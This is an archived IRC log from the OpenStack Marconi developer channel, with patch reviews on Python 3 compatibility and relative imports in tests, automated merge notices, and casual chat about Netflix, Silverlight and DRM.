flaper87kgriffs: yup, they are py2 harmless20:54
flaper87and they're pretty straightforward20:55
* kgriffs does that20:56
kgriffsflaper: I -2'd one of your patches because you said "where" instead of "were" in the commit message20:58
openstackgerritA change was merged to openstack/marconi: Remove gettext magic and import _ explicitly
* kgriffs is kidding20:59
flaper87kgriffs: LOOOOOL21:00
openstackgerritA change was merged to openstack/marconi: Disable keystone client if running under Py3K
kgriffsflaper87: can you give some more background on this?21:01
openstackgerritA change was merged to openstack/marconi: Don't use tuple parameters
flaper87kgriffs: Py3K dropped support for implicitly relative imports21:04
kgriffsright, I just saw that21:05
kgriffswhat about from tests.unit.queues.transport.wsgi import base21:05
kgriffsTBH, I think Hacking should allow the simple case of relative imports (i.e., from . import blah)21:05
kgriffsbut I am just playing devil's advocate21:06
flaper87kgriffs: yeah, I used relative import because we're already using it21:06
flaper87and thought about keeping the change small21:06
flaper87we were alrady*21:06
kgriffswell, I wouldn't mind using the full path to avoid the # noqa21:06
flaper87I don't remember why we didn't do that in first place21:07
flaper87aaahhh yeah21:07
flaper87we can't21:07
flaper87tests is not under the site-packages21:07
flaper87when nosetests is running21:07
flaper87I knew there was a reason21:07
kgriffssame story for testr?21:07
* flaper87 has a branch for testr21:08
flaper87there are pieces that still don't work well21:08
kgriffsCan you update HACKING with a note about this?21:08
flaper87but I'm looking forward to migrating to it21:08
kgriffsso people know it's OK under this specific circumstance?21:08
flaper87kgriffs: yup, do you mind if I do it in a separate patch to avoid rebasing?21:08
kgriffsflaper87: that's totally fine21:08
flaper87kgriffs: awesome, thanks!21:09
kgriffsflaper87: maybe there is a way to get the hacking checker to be smarter about this too21:09
kgriffs(so we don't have to put # noqa all over the place)21:09
flaper87kgriffs: another import ignore rule ?21:09
* flaper87 doesn't know how those rules work21:09
kgriffsflaper87: not sure21:10
kgriffsThis smells like something a little different21:11
kgriffsthere should be a way to say "for tests, allow relative imports"21:11
kgriffsI wonder if other projects have ran into this?21:12
openstackgerritA change was merged to openstack/marconi: Use relative import for base in tests
kgriffsflaper87: can you review this patch?21:12
kgriffsbeen sitting around for a long time21:12
* flaper87 reviews21:13
openstackgerritA change was merged to openstack/marconi: Remove the __MARCONI_SETUP_ global from init
flaper87are we sure `debug` is what we want there?21:14
flaper87oh yes21:14
flaper87it makes sense21:14
flaper87that was easy21:14
flaper87I whish all patches were like that21:14
openstackgerritA change was merged to openstack/marconi: fix: Reduce logging severity of certain errors
kgriffsflaper87: another simple one21:17
* kgriffs wonders when flaper87 sleeps21:18
flaper87kgriffs: :D +2'd21:18
* flaper87 wonders that too21:18
openstackgerritA change was merged to openstack/marconi: Make consumer_for a context manager
openstackgerritA change was merged to openstack/marconi: chore: Remove remaining proxy cruft
flaper87kgriffs: also, in case you're interested:
kgriffsflaper87: ah, nice21:25
* kgriffs sends to instapaper21:25
kgriffsLOL. I saw some of those episodes the other day.21:26
* kgriffs only watches stuff that shows up in Netflix21:26
flaper87Everytime I read / hear netfilx, I hate it even more. It still uses silverlight, which is a shame for such a great service.21:28
kgriffsah, yes21:28
* flaper87 is a linux user21:29
flaper87no silverlight in linux land21:29
flaper87I mean, I could get it working with wine and stuff21:29
kgriffsthey don't have a way to watch on linux?21:29
flaper87epic fail!21:29
kgriffsworks on roku, which runs linux if I'm not mistaken21:29
kgriffsso, means the website team != embedded team21:30
flaper87mmh, most probably21:30
kgriffsI think I know the problem21:31
flaper87I can understand why they started with silverlight but, come on, html5 has been around for quite a bit now! I'd like to know what's holding them back from migrating to it21:31
* kgriffs hates media conglomerates21:31
flaper87DRM ?21:31
kgriffsyeah, I bet they use silverlight because it offers strong DRM21:31
kgriffsAnd Moonlight doesn't support DRM21:32
flaper87yeah, I guess so. But, hulu doesn't use silverlight, AFAIK21:35
flaper87yeah, it's flash21:35
kgriffsgood point21:35
kgriffsgo buy a roku21:36
kgriffsor ps3/421:36
flaper87erm, I forgot to mention that Netflix is blocked in Italy21:36
kgriffswell, that is a pain21:36
flaper87yup :D21:36
*** openstackgerrit has quit IRC21:37
flaper87kgriffs: or
flaper87which works very well21:37
flaper87it even has ssl21:37
*** openstackgerrit has joined #openstack-marconi21:37
kgriffsdidn't know about hola21:37
flaper87and I didn't know about onion-pi21:38
kgriffsI'm so glad we had this little chat. :)21:39
*** rongze has quit IRC21:52
*** JRow has quit IRC21:53
*** openstackgerrit has quit IRC21:57
*** openstackgerrit has joined #openstack-marconi21:57
openstackgerritCindy Pallares proposed a change to openstack/marconi: Added which maps out the HTTP request codes in jsonschema
*** rongze has joined #openstack-marconi22:18
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Move request_and_transport to the Client
*** reed has quit IRC22:25
*** yassine has quit IRC22:27
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Move request_and_transport to the Client
*** jergerber has quit IRC22:34
*** thomasem has quit IRC22:37
*** jcru has joined #openstack-marconi22:42
*** rongze has quit IRC22:51
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Add a Client 'instantiator'
*** amitgandhi has quit IRC23:20
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Add a base test class for the queues package
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Add a Client 'instantiator'
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Add a base test class for the queues package
* kgriffs wonders again when flaper87 sleeps23:25
flaper87kgriffs: LOOOOOL :D23:25
* kgriffs wonders if flaper87 is human23:25
flaper87kgriffs: that I can answer23:25
flaper87kgriffs: I'm not :D23:25
* kgriffs knew it!23:27
openstackgerritFlavio Percoco proposed a change to openstack/python-marconiclient: Make pbr only a build-time dependency.
flaper87kgriffs: ^ I even stole the commit message :D23:34
* flaper87 wonders if we should do the same thing with marconi23:35
flaper87probably we should23:35
*** flaper87 is now known as flaper87|afk23:40
*** rongze has joined #openstack-marconi23:51
*** etoews1 has joined #openstack-marconi23:51

Generated by 2.14.0 by Marius Gedminas - find it at!